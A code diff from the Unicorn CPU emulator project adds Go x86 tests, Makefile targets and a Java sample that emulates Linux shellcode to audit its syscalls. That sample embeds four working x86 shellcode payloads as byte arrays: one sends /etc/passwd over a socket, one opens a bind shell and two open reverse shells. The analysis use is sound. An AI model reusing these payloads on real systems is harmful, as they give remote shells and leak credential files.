bindings/go/unicorn/x86_test.go
Normal file
@ -0,0 +1,145 @@
|
|||||||
|
package unicorn
|
||||||
|
|
||||||
|
import (
|
||||||
|
"testing"
|
||||||
|
)
|
||||||
|
|
||||||
|
var ADDRESS uint64 = 0x1000000
|
||||||
|
|
||||||
|
func MakeUc(mode int, code string) (*Uc, error) {
|
||||||
|
mu, err := NewUc(UC_ARCH_X86, mode)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
if err := mu.MemMap(ADDRESS, 2*1024*1024); err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
if err := mu.MemWrite(ADDRESS, []byte(code)); err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
if err := mu.RegWrite(UC_X86_REG_ECX, 0x1234); err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
if err := mu.RegWrite(UC_X86_REG_EDX, 0x7890); err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
return mu, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestX86(t *testing.T) {
|
||||||
|
code := "\x41\x4a"
|
||||||
|
mu, err := MakeUc(UC_MODE_32, code)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if err := mu.Start(ADDRESS, ADDRESS+uint64(len(code))); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
ecx, _ := mu.RegRead(UC_X86_REG_ECX)
|
||||||
|
edx, _ := mu.RegRead(UC_X86_REG_EDX)
|
||||||
|
if ecx != 0x1235 || edx != 0x788f {
|
||||||
|
t.Fatal("Bad register values.")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestX86InvalidRead(t *testing.T) {
|
||||||
|
code := "\x8B\x0D\xAA\xAA\xAA\xAA\x41\x4a"
|
||||||
|
mu, err := MakeUc(UC_MODE_32, code)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
err = mu.Start(ADDRESS, ADDRESS+uint64(len(code)))
|
||||||
|
if err.(UcError) != UC_ERR_MEM_READ {
|
||||||
|
t.Fatal("Expected UC_ERR_MEM_READ")
|
||||||
|
}
|
||||||
|
ecx, _ := mu.RegRead(UC_X86_REG_ECX)
|
||||||
|
edx, _ := mu.RegRead(UC_X86_REG_EDX)
|
||||||
|
if ecx != 0x1234 || edx != 0x7890 {
|
||||||
|
t.Fatal("Bad register values.")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestX86InvalidWrite(t *testing.T) {
|
||||||
|
code := "\x89\x0D\xAA\xAA\xAA\xAA\x41\x4a"
|
||||||
|
mu, err := MakeUc(UC_MODE_32, code)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
err = mu.Start(ADDRESS, ADDRESS+uint64(len(code)))
|
||||||
|
if err.(UcError) != UC_ERR_MEM_WRITE {
|
||||||
|
t.Fatal("Expected UC_ERR_MEM_WRITE")
|
||||||
|
}
|
||||||
|
ecx, _ := mu.RegRead(UC_X86_REG_ECX)
|
||||||
|
edx, _ := mu.RegRead(UC_X86_REG_EDX)
|
||||||
|
if ecx != 0x1234 || edx != 0x7890 {
|
||||||
|
t.Fatal("Bad register values.")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestX86InOut(t *testing.T) {
|
||||||
|
code := "\x41\xE4\x3F\x4a\xE6\x46\x43"
|
||||||
|
mu, err := MakeUc(UC_MODE_32, code)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
var outVal uint64
|
||||||
|
var inCalled, outCalled bool
|
||||||
|
mu.HookAdd(UC_HOOK_INSN, func(mu *Uc, port, size uint32) uint32 {
|
||||||
|
inCalled = true
|
||||||
|
switch size {
|
||||||
|
case 1:
|
||||||
|
return 0xf1
|
||||||
|
case 2:
|
||||||
|
return 0xf2
|
||||||
|
case 4:
|
||||||
|
return 0xf4
|
||||||
|
default:
|
||||||
|
return 0
|
||||||
|
}
|
||||||
|
}, UC_X86_INS_IN)
|
||||||
|
mu.HookAdd(UC_HOOK_INSN, func(uc *Uc, port, size, value uint32) {
|
||||||
|
outCalled = true
|
||||||
|
var err error
|
||||||
|
switch size {
|
||||||
|
case 1:
|
||||||
|
outVal, err = mu.RegRead(UC_X86_REG_AL)
|
||||||
|
case 2:
|
||||||
|
outVal, err = mu.RegRead(UC_X86_REG_AX)
|
||||||
|
case 4:
|
||||||
|
outVal, err = mu.RegRead(UC_X86_REG_EAX)
|
||||||
|
}
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
}, UC_X86_INS_OUT)
|
||||||
|
if err := mu.Start(ADDRESS, ADDRESS+uint64(len(code))); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if !inCalled || !outCalled {
|
||||||
|
t.Fatal("Ports not accessed.")
|
||||||
|
}
|
||||||
|
if outVal != 0xf1 {
|
||||||
|
t.Fatal("Incorrect OUT value.")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestX86Syscall(t *testing.T) {
|
||||||
|
code := "\x0f\x05"
|
||||||
|
mu, err := MakeUc(UC_MODE_64, code)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
mu.HookAdd(UC_HOOK_INSN, func(mu *Uc) {
|
||||||
|
rax, _ := mu.RegRead(UC_X86_REG_RAX)
|
||||||
|
mu.RegWrite(UC_X86_REG_RAX, rax+1)
|
||||||
|
}, UC_X86_INS_SYSCALL)
|
||||||
|
mu.RegWrite(UC_X86_REG_RAX, 0x100)
|
||||||
|
err = mu.Start(ADDRESS, ADDRESS+uint64(len(code)))
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
v, _ := mu.RegRead(UC_X86_REG_RAX)
|
||||||
|
if v != 0x101 {
|
||||||
|
t.Fatal("Incorrect syscall return value.")
|
||||||
|
}
|
||||||
|
}
|
@ -1,3 +1,6 @@
|
|||||||
|
|
||||||
|
.PHONY: gen_const clean
|
||||||
|
|
||||||
JAVA_HOME := $(shell jrunscript -e 'java.lang.System.out.println(java.lang.System.getProperty("java.home"));')
|
JAVA_HOME := $(shell jrunscript -e 'java.lang.System.out.println(java.lang.System.getProperty("java.home"));')
|
||||||
|
|
||||||
JAVA_INC := $(shell realpath $(JAVA_HOME)/../include)
|
JAVA_INC := $(shell realpath $(JAVA_HOME)/../include)
|
||||||
@ -63,3 +66,13 @@ jar: jarfiles
|
|||||||
install: lib jar
|
install: lib jar
|
||||||
cp libunicorn_java$(LIB_EXT) $(JAVA_HOME)/lib/ext
|
cp libunicorn_java$(LIB_EXT) $(JAVA_HOME)/lib/ext
|
||||||
cp $(JARFILE) $(JAVA_HOME)/lib/ext
|
cp $(JARFILE) $(JAVA_HOME)/lib/ext
|
||||||
|
|
||||||
|
gen_const:
|
||||||
|
cd .. && python const_generator.py java
|
||||||
|
|
||||||
|
clean:
|
||||||
|
rm unicorn/*.class
|
||||||
|
rm samples/*.class
|
||||||
|
rm *.so
|
||||||
|
rm *.dylib
|
||||||
|
rm *.dll
|
429
bindings/java/samples/SampleNetworkAuditing.java
Normal file
429
bindings/java/samples/SampleNetworkAuditing.java
Normal file
@ -0,0 +1,429 @@
|
|||||||
|
/*
|
||||||
|
|
||||||
|
Java bindings for the Unicorn Emulator Engine
|
||||||
|
|
||||||
|
Copyright(c) 2015 Chris Eagle
|
||||||
|
|
||||||
|
This program is free software; you can redistribute it and/or
|
||||||
|
modify it under the terms of the GNU General Public License
|
||||||
|
version 2 as published by the Free Software Foundation.
|
||||||
|
|
||||||
|
This program is distributed in the hope that it will be useful,
|
||||||
|
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||||
|
GNU General Public License for more details.
|
||||||
|
|
||||||
|
You should have received a copy of the GNU General Public License
|
||||||
|
along with this program; if not, write to the Free Software
|
||||||
|
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
|
||||||
|
|
||||||
|
*/
|
||||||
|
|
||||||
|
/*
|
||||||
|
Unicorn sample for auditing network connection and file handling in shellcode.
|
||||||
|
Nguyen Tan Cong <shenlongbk@gmail.com>
|
||||||
|
*/
|
||||||
|
|
||||||
|
import unicorn.*;
|
||||||
|
import java.util.*;
|
||||||
|
|
||||||
|
|
||||||
|
public class SampleNetworkAuditing {
|
||||||
|
|
||||||
|
public static int next_id = 3;
|
||||||
|
public static final int SIZE_REG = 4;
|
||||||
|
|
||||||
|
private static LogChain fd_chains = new LogChain();
|
||||||
|
|
||||||
|
public static int get_id() {
|
||||||
|
return next_id++;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static final long toInt(byte val[]) {
|
||||||
|
long res = 0;
|
||||||
|
for (int i = 0; i < val.length; i++) {
|
||||||
|
long v = val[i] & 0xff;
|
||||||
|
res = res + (v << (i * 8));
|
||||||
|
}
|
||||||
|
return res;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static final byte[] toBytes(long val) {
|
||||||
|
byte[] res = new byte[8];
|
||||||
|
for (int i = 0; i < 8; i++) {
|
||||||
|
res[i] = (byte)(val & 0xff);
|
||||||
|
val >>>= 8;
|
||||||
|
}
|
||||||
|
return res;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
private static class MyInterruptHook implements InterruptHook {
|
||||||
|
// callback for tracing Linux interrupt
|
||||||
|
public void hook(Unicorn uc, int intno, Object user) {
|
||||||
|
// System.err.println(String.format("Interrupt 0x%x, from Unicorn 0x%x", intno, u.hashCode()));
|
||||||
|
|
||||||
|
// only handle Linux syscall
|
||||||
|
if (intno != 0x80) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
long eax = toInt(uc.reg_read(Unicorn.UC_X86_REG_EAX, 4));
|
||||||
|
long ebx = toInt(uc.reg_read(Unicorn.UC_X86_REG_EBX, 4));
|
||||||
|
long ecx = toInt(uc.reg_read(Unicorn.UC_X86_REG_ECX, 4));
|
||||||
|
long edx = toInt(uc.reg_read(Unicorn.UC_X86_REG_EDX, 4));
|
||||||
|
long eip = toInt(uc.reg_read(Unicorn.UC_X86_REG_EIP, 4));
|
||||||
|
|
||||||
|
// System.out.printf(">>> INTERRUPT %d\n", toInt(eax));
|
||||||
|
|
||||||
|
if (eax == 1) { // sys_exit
|
||||||
|
System.out.printf(">>> SYS_EXIT\n");
|
||||||
|
uc.emu_stop();
|
||||||
|
}
|
||||||
|
else if (eax == 3) { // sys_read
|
||||||
|
long fd = ebx;
|
||||||
|
long buf = ecx;
|
||||||
|
long count = edx;
|
||||||
|
|
||||||
|
String uuid = UUID.randomUUID().toString().substring(0, 32);
|
||||||
|
|
||||||
|
byte[] dummy_content = Arrays.copyOfRange(uuid.getBytes(), 0, (int)Math.min(count, uuid.length()));
|
||||||
|
uc.mem_write(buf, dummy_content);
|
||||||
|
|
||||||
|
String msg = String.format("read %d bytes from fd(%d) with dummy_content(%s)", count, fd, uuid.substring(0, dummy_content.length));
|
||||||
|
|
||||||
|
fd_chains.add_log(fd, msg);
|
||||||
|
System.out.printf(">>> %s\n", msg);
|
||||||
|
}
|
||||||
|
else if (eax == 4) { // sys_write
|
||||||
|
long fd = ebx;
|
||||||
|
long buf = ecx;
|
||||||
|
long count = edx;
|
||||||
|
|
||||||
|
byte[] content = uc.mem_read(buf, count);
|
||||||
|
|
||||||
|
String msg = String.format("write data=%s count=%d to fd(%d)", new String(content), count, fd);
|
||||||
|
|
||||||
|
System.out.printf(">>> %s\n", msg);
|
||||||
|
fd_chains.add_log(fd, msg);
|
||||||
|
}
|
||||||
|
else if (eax == 5) { // sys_open
|
||||||
|
long filename_addr = ebx;
|
||||||
|
long flags = ecx;
|
||||||
|
long mode = edx;
|
||||||
|
String filename = read_string(uc, filename_addr);
|
||||||
|
|
||||||
|
int dummy_fd = get_id();
|
||||||
|
uc.reg_write(Unicorn.UC_X86_REG_EAX, toBytes(dummy_fd));
|
||||||
|
|
||||||
|
String msg = String.format("open file (filename=%s flags=%d mode=%d) with fd(%d)", filename, flags, mode, dummy_fd);
|
||||||
|
|
||||||
|
fd_chains.create_chain(dummy_fd);
|
||||||
|
fd_chains.add_log(dummy_fd, msg);
|
||||||
|
System.out.printf(">>> %s\n", msg);
|
||||||
|
}
|
||||||
|
else if (eax == 11) { // sys_execv
|
||||||
|
// System.out.printf(">>> ebx=0x%x, ecx=0x%x, edx=0x%x\n", ebx, ecx, edx));
|
||||||
|
String filename = read_string(uc, ebx);
|
||||||
|
|
||||||
|
System.out.printf(">>> SYS_EXECV filename=%s\n", filename);
|
||||||
|
}
|
||||||
|
else if (eax == 63) { // sys_dup2
|
||||||
|
fd_chains.link_fd(ecx, ebx);
|
||||||
|
System.out.printf(">>> SYS_DUP2 oldfd=%d newfd=%d\n", ebx, ecx);
|
||||||
|
}
|
||||||
|
else if (eax == 102) { // sys_socketcall
|
||||||
|
// ref: http://www.skyfree.org/linux/kernel_network/socket.html
|
||||||
|
long call = toInt(uc.reg_read(Unicorn.UC_X86_REG_EBX, 4));
|
||||||
|
long args = toInt(uc.reg_read(Unicorn.UC_X86_REG_ECX, 4));
|
||||||
|
|
||||||
|
// int sys_socketcall(int call, unsigned long *args)
|
||||||
|
if (call == 1) { // sys_socket
|
||||||
|
// err = sys_socket(a0,a1,a[2])
|
||||||
|
// int sys_socket(int family, int type, int protocol)
|
||||||
|
long family = toInt(uc.mem_read(args, SIZE_REG));
|
||||||
|
long sock_type = toInt(uc.mem_read(args + SIZE_REG, SIZE_REG));
|
||||||
|
long protocol = toInt(uc.mem_read(args + SIZE_REG * 2, SIZE_REG));
|
||||||
|
|
||||||
|
int dummy_fd = get_id();
|
||||||
|
uc.reg_write(Unicorn.UC_X86_REG_EAX, toBytes(dummy_fd));
|
||||||
|
|
||||||
|
if (family == 2) { // AF_INET
|
||||||
|
String msg = String.format("create socket (%s, %s) with fd(%d)", ADDR_FAMILY.get(family), SOCKET_TYPES.get(sock_type), dummy_fd);
|
||||||
|
fd_chains.create_chain(dummy_fd);
|
||||||
|
fd_chains.add_log(dummy_fd, msg);
|
||||||
|
print_sockcall(msg);
|
||||||
|
}
|
||||||
|
else if (family == 3) { // AF_INET6
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else if (call == 2) { // sys_bind
|
||||||
|
long fd = toInt(uc.mem_read(args, SIZE_REG));
|
||||||
|
long umyaddr = toInt(uc.mem_read(args + SIZE_REG, SIZE_REG));
|
||||||
|
long addrlen = toInt(uc.mem_read(args + SIZE_REG * 2, SIZE_REG));
|
||||||
|
|
||||||
|
byte[] sock_addr = uc.mem_read(umyaddr, addrlen);
|
||||||
|
|
||||||
|
String msg = String.format("fd(%d) bind to %s", fd, parse_sock_address(sock_addr));
|
||||||
|
fd_chains.add_log(fd, msg);
|
||||||
|
print_sockcall(msg);
|
||||||
|
}
|
||||||
|
else if (call == 3) { // sys_connect
|
||||||
|
// err = sys_connect(a0, (struct sockaddr *)a1, a[2])
|
||||||
|
// int sys_connect(int fd, struct sockaddr *uservaddr, int addrlen)
|
||||||
|
long fd = toInt(uc.mem_read(args, SIZE_REG));
|
||||||
|
long uservaddr = toInt(uc.mem_read(args + SIZE_REG, SIZE_REG));
|
||||||
|
long addrlen = toInt(uc.mem_read(args + SIZE_REG * 2, SIZE_REG));
|
||||||
|
|
||||||
|
byte[] sock_addr = uc.mem_read(uservaddr, addrlen);
|
||||||
|
String msg = String.format("fd(%d) connect to %s", fd, parse_sock_address(sock_addr));
|
||||||
|
fd_chains.add_log(fd, msg);
|
||||||
|
print_sockcall(msg);
|
||||||
|
}
|
||||||
|
else if (call == 4) { // sys_listen
|
||||||
|
long fd = toInt(uc.mem_read(args, SIZE_REG));
|
||||||
|
long backlog = toInt(uc.mem_read(args + SIZE_REG, SIZE_REG));
|
||||||
|
|
||||||
|
String msg = String.format("fd(%d) listened with backlog=%d", fd, backlog);
|
||||||
|
fd_chains.add_log(fd, msg);
|
||||||
|
print_sockcall(msg);
|
||||||
|
}
|
||||||
|
else if (call == 5) { // sys_accept
|
||||||
|
long fd = toInt(uc.mem_read(args, SIZE_REG));
|
||||||
|
long upeer_sockaddr = toInt(uc.mem_read(args + SIZE_REG, SIZE_REG));
|
||||||
|
long upeer_addrlen = toInt(uc.mem_read(args + SIZE_REG * 2, SIZE_REG));
|
||||||
|
|
||||||
|
// System.out.printf(">>> upeer_sockaddr=0x%x, upeer_addrlen=%d\n" % (upeer_sockaddr, upeer_addrlen))
|
||||||
|
|
||||||
|
if (upeer_sockaddr == 0x0) {
|
||||||
|
print_sockcall(String.format("fd(%d) accept client", fd));
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
long upeer_len = toInt(uc.mem_read(upeer_addrlen, 4));
|
||||||
|
|
||||||
|
byte[] sock_addr = uc.mem_read(upeer_sockaddr, upeer_len);
|
||||||
|
|
||||||
|
String msg = String.format("fd(%d) accept client with upeer=%s", fd, parse_sock_address(sock_addr));
|
||||||
|
fd_chains.add_log(fd, msg);
|
||||||
|
print_sockcall(msg);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else if (call == 9) { // sys_send
|
||||||
|
long fd = toInt(uc.mem_read(args, SIZE_REG));
|
||||||
|
long buff = toInt(uc.mem_read(args + SIZE_REG, SIZE_REG));
|
||||||
|
long length = toInt(uc.mem_read(args + SIZE_REG * 2, SIZE_REG));
|
||||||
|
long flags = toInt(uc.mem_read(args + SIZE_REG * 3, SIZE_REG));
|
||||||
|
|
||||||
|
byte[] buf = uc.mem_read(buff, length);
|
||||||
|
String msg = String.format("fd(%d) send data=%s", fd, new String(buf));
|
||||||
|
fd_chains.add_log(fd, msg);
|
||||||
|
print_sockcall(msg);
|
||||||
|
}
|
||||||
|
else if (call == 11) { // sys_receive
|
||||||
|
long fd = toInt(uc.mem_read(args, SIZE_REG));
|
||||||
|
long ubuf = toInt(uc.mem_read(args + SIZE_REG, SIZE_REG));
|
||||||
|
long size = toInt(uc.mem_read(args + SIZE_REG * 2, SIZE_REG));
|
||||||
|
long flags = toInt(uc.mem_read(args + SIZE_REG * 3, SIZE_REG));
|
||||||
|
|
||||||
|
String msg = String.format("fd(%d) is gonna receive data with size=%d flags=%d", fd, size, flags);
|
||||||
|
fd_chains.add_log(fd, msg);
|
||||||
|
print_sockcall(msg);
|
||||||
|
}
|
||||||
|
else if (call == 13) { // sys_shutdown
|
||||||
|
long fd = toInt(uc.mem_read(args, SIZE_REG));
|
||||||
|
long how = toInt(uc.mem_read(args + SIZE_REG, SIZE_REG));
|
||||||
|
|
||||||
|
String msg = String.format("fd(%d) is shutted down because of %d", fd, how);
|
||||||
|
fd_chains.add_log(fd, msg);
|
||||||
|
print_sockcall(msg);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static final Hashtable<Long, String> SOCKET_TYPES;
|
||||||
|
public static final Hashtable<Long, String> ADDR_FAMILY;
|
||||||
|
static {
|
||||||
|
SOCKET_TYPES = new Hashtable<Long, String>();
|
||||||
|
ADDR_FAMILY = new Hashtable<Long, String>();
|
||||||
|
SOCKET_TYPES.put(1L, "SOCK_STREAM");
|
||||||
|
SOCKET_TYPES.put(2L, "SOCK_DGRAM");
|
||||||
|
SOCKET_TYPES.put(3L, "SOCK_RAW");
|
||||||
|
SOCKET_TYPES.put(4L, "SOCK_RDM");
|
||||||
|
SOCKET_TYPES.put(5L, "SOCK_SEQPACKET");
|
||||||
|
SOCKET_TYPES.put(10L, "SOCK_PACKET");
|
||||||
|
|
||||||
|
ADDR_FAMILY.put(0L, "AF_UNSPEC");
|
||||||
|
ADDR_FAMILY.put(1L, "AF_UNIX");
|
||||||
|
ADDR_FAMILY.put(2L, "AF_INET");
|
||||||
|
ADDR_FAMILY.put(3L, "AF_AX25");
|
||||||
|
ADDR_FAMILY.put(4L, "AF_IPX");
|
||||||
|
ADDR_FAMILY.put(5L, "AF_APPLETALK");
|
||||||
|
ADDR_FAMILY.put(6L, "AF_NETROM");
|
||||||
|
ADDR_FAMILY.put(7L, "AF_BRIDGE");
|
||||||
|
ADDR_FAMILY.put(8L, "AF_AAL5");
|
||||||
|
ADDR_FAMILY.put(9L, "AF_X25");
|
||||||
|
ADDR_FAMILY.put(10L, "AF_INET6");
|
||||||
|
ADDR_FAMILY.put(12L, "AF_MAX");
|
||||||
|
}
|
||||||
|
|
||||||
|
// http://shell-storm.org/shellcode/files/shellcode-861.php
|
||||||
|
public static final byte[] X86_SEND_ETCPASSWD = {106,102,88,49,-37,67,49,-46,82,106,1,106,2,-119,-31,-51,-128,-119,-58,106,102,88,67,104,127,1,1,1,102,104,48,57,102,83,-119,-31,106,16,81,86,-119,-31,67,-51,-128,-119,-58,106,1,89,-80,63,-51,-128,-21,39,106,5,88,91,49,-55,-51,-128,-119,-61,-80,3,-119,-25,-119,-7,49,-46,-74,-1,-78,-1,-51,-128,-119,-62,106,4,88,-77,1,-51,-128,106,1,88,67,-51,-128,-24,-44,-1,-1,-1,47,101,116,99,47,112,97,115,115,119,100};
|
||||||
|
// http://shell-storm.org/shellcode/files/shellcode-882.php
|
||||||
|
public static final byte[] X86_BIND_TCP = {106,102,88,106,1,91,49,-10,86,83,106,2,-119,-31,-51,-128,95,-105,-109,-80,102,86,102,104,5,57,102,83,-119,-31,106,16,81,87,-119,-31,-51,-128,-80,102,-77,4,86,87,-119,-31,-51,-128,-80,102,67,86,86,87,-119,-31,-51,-128,89,89,-79,2,-109,-80,63,-51,-128,73,121,-7,-80,11,104,47,47,115,104,104,47,98,105,110,-119,-29,65,-119,-54,-51,-128};
|
||||||
|
// http://shell-storm.org/shellcode/files/shellcode-883.php
|
||||||
|
public static final byte[] X86_REVERSE_TCP = {106,102,88,106,1,91,49,-46,82,83,106,2,-119,-31,-51,-128,-110,-80,102,104,127,1,1,1,102,104,5,57,67,102,83,-119,-31,106,16,81,82,-119,-31,67,-51,-128,106,2,89,-121,-38,-80,63,-51,-128,73,121,-7,-80,11,65,-119,-54,82,104,47,47,115,104,104,47,98,105,110,-119,-29,-51,-128};
|
||||||
|
// http://shell-storm.org/shellcode/files/shellcode-849.php
|
||||||
|
public static final byte[] X86_REVERSE_TCP_2 = {49,-64,49,-37,49,-55,49,-46,-80,102,-77,1,81,106,6,106,1,106,2,-119,-31,-51,-128,-119,-58,-80,102,49,-37,-77,2,104,-64,-88,1,10,102,104,122,105,102,83,-2,-61,-119,-31,106,16,81,86,-119,-31,-51,-128,49,-55,-79,3,-2,-55,-80,63,-51,-128,117,-8,49,-64,82,104,110,47,115,104,104,47,47,98,105,-119,-29,82,83,-119,-31,82,-119,-30,-80,11,-51,-128};
|
||||||
|
|
||||||
|
// memory address where emulation starts
|
||||||
|
public static final int ADDRESS = 0x1000000;
|
||||||
|
|
||||||
|
public static String join(ArrayList<String> l, String sep) {
|
||||||
|
boolean first = true;
|
||||||
|
StringBuilder res = new StringBuilder();
|
||||||
|
for (String s : l) {
|
||||||
|
if (!first) {
|
||||||
|
res.append(sep);
|
||||||
|
}
|
||||||
|
res.append(s);
|
||||||
|
first = false;
|
||||||
|
}
|
||||||
|
return res.toString();
|
||||||
|
}
|
||||||
|
|
||||||
|
private static class LogChain {
|
||||||
|
public Hashtable<Long, ArrayList<String>> __chains = new Hashtable<Long, ArrayList<String>>();
|
||||||
|
public Hashtable<Long, ArrayList<Long>> __linking_fds = new Hashtable<Long, ArrayList<Long>>();
|
||||||
|
|
||||||
|
public void clean() {
|
||||||
|
__chains.clear();
|
||||||
|
__linking_fds.clear();
|
||||||
|
}
|
||||||
|
|
||||||
|
public void create_chain(long id) {
|
||||||
|
if (!__chains.containsKey(id)) {
|
||||||
|
__chains.put(id, new ArrayList<String>());
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
System.out.printf("LogChain: id %d existed\n", id);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public void add_log(long id, String msg) {
|
||||||
|
long fd = get_original_fd(id);
|
||||||
|
|
||||||
|
if (fd != -1) {
|
||||||
|
__chains.get(fd).add(msg);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
System.out.printf("LogChain: id %d doesn't exist\n", id);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public void link_fd(long from_fd, long to_fd) {
|
||||||
|
if (!__linking_fds.containsKey(to_fd)) {
|
||||||
|
__linking_fds.put(to_fd, new ArrayList<Long>());
|
||||||
|
}
|
||||||
|
|
||||||
|
__linking_fds.get(to_fd).add(from_fd);
|
||||||
|
}
|
||||||
|
|
||||||
|
public long get_original_fd(long fd) {
|
||||||
|
if (__chains.containsKey(fd)) {
|
||||||
|
return fd;
|
||||||
|
}
|
||||||
|
|
||||||
|
for (Long orig_fd : __linking_fds.keySet()) {
|
||||||
|
if (__linking_fds.get(orig_fd).contains(fd))
|
||||||
|
return orig_fd;
|
||||||
|
}
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void print_report() {
|
||||||
|
System.out.printf("\n----------------");
|
||||||
|
System.out.printf("\n| START REPORT |");
|
||||||
|
System.out.printf("\n----------------\n\n");
|
||||||
|
for (Long fd : __chains.keySet()) {
|
||||||
|
System.out.printf("---- START FD(%d) ----\n", fd);
|
||||||
|
System.out.println(join(__chains.get(fd), "\n"));
|
||||||
|
System.out.printf("---- END FD(%d) ----\n", fd);
|
||||||
|
}
|
||||||
|
System.out.printf("\n--------------");
|
||||||
|
System.out.printf("\n| END REPORT |");
|
||||||
|
System.out.printf("\n--------------\n\n");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
// end supported classes
|
||||||
|
|
||||||
|
// utilities
|
||||||
|
static String read_string(Unicorn uc, long addr) {
|
||||||
|
StringBuilder ret = new StringBuilder();
|
||||||
|
char c;
|
||||||
|
do {
|
||||||
|
c = (char)(uc.mem_read(addr++, 1)[0] & 0xff);
|
||||||
|
if (c != 0) {
|
||||||
|
ret.append(c);
|
||||||
|
}
|
||||||
|
} while (c != 0);
|
||||||
|
|
||||||
|
return ret.toString();
|
||||||
|
}
|
||||||
|
|
||||||
|
static String parse_sock_address(byte[] sock_addr) {
|
||||||
|
int sin_family = ((sock_addr[0] & 0xff) + (sock_addr[1] << 8)) & 0xffff;
|
||||||
|
|
||||||
|
if (sin_family == 2) { // AF_INET
|
||||||
|
int sin_port = ((sock_addr[3] & 0xff) + (sock_addr[2] << 8)) & 0xffff;
|
||||||
|
return String.format("%d.%d.%d.%d:%d", sock_addr[4] & 0xff, sock_addr[5] & 0xff, sock_addr[6] & 0xff, sock_addr[7] & 0xff, sin_port);
|
||||||
|
}
|
||||||
|
else if (sin_family == 6) // AF_INET6
|
||||||
|
return "";
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
static void print_sockcall(String msg) {
|
||||||
|
System.out.printf(">>> SOCKCALL %s\n", msg);
|
||||||
|
}
|
||||||
|
// end utilities
|
||||||
|
|
||||||
|
static void test_i386(byte[] code) {
|
||||||
|
fd_chains.clean();
|
||||||
|
System.out.printf("Emulate i386 code\n");
|
||||||
|
try {
|
||||||
|
// Initialize emulator in X86-32bit mode
|
||||||
|
Unicorn mu = new Unicorn(Unicorn.UC_ARCH_X86, Unicorn.UC_MODE_32);
|
||||||
|
|
||||||
|
// map 2MB memory for this emulation
|
||||||
|
mu.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_READ | Unicorn.UC_PROT_WRITE);
|
||||||
|
|
||||||
|
// write machine code to be emulated to memory
|
||||||
|
mu.mem_write(ADDRESS, code);
|
||||||
|
|
||||||
|
// initialize stack
|
||||||
|
mu.reg_write(Unicorn.UC_X86_REG_ESP, toBytes(ADDRESS + 0x200000));
|
||||||
|
|
||||||
|
// handle interrupt ourself
|
||||||
|
mu.hook_add(new MyInterruptHook(), null);
|
||||||
|
|
||||||
|
// emulate machine code in infinite time
|
||||||
|
mu.emu_start(ADDRESS, ADDRESS + code.length, 0, 0);
|
||||||
|
|
||||||
|
// now print out some registers
|
||||||
|
System.out.printf(">>> Emulation done\n");
|
||||||
|
|
||||||
|
} catch (UnicornException uex) {
|
||||||
|
System.out.printf("ERROR: %s\n", uex.getMessage());
|
||||||
|
}
|
||||||
|
|
||||||
|
fd_chains.print_report();
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void main(String args[]) {
|
||||||
|
test_i386(X86_SEND_ETCPASSWD);
|
||||||
|
test_i386(X86_BIND_TCP);
|
||||||
|
test_i386(X86_REVERSE_TCP);
|
||||||
|
test_i386(X86_REVERSE_TCP_2);
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
@ -51,7 +51,7 @@ public class Sample_arm {
|
|||||||
Unicorn u = new Unicorn(Unicorn.UC_ARCH_ARM, Unicorn.UC_MODE_ARM);
|
Unicorn u = new Unicorn(Unicorn.UC_ARCH_ARM, Unicorn.UC_MODE_ARM);
|
||||||
|
|
||||||
// map 2MB memory for this emulation
|
// map 2MB memory for this emulation
|
||||||
u.mem_map(ADDRESS, 2 * 1024 * 1024);
|
u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_READ | Unicorn.UC_PROT_WRITE);
|
||||||
|
|
||||||
// write machine code to be emulated to memory
|
// write machine code to be emulated to memory
|
||||||
u.mem_write(ADDRESS, ARM_CODE);
|
u.mem_write(ADDRESS, ARM_CODE);
|
||||||
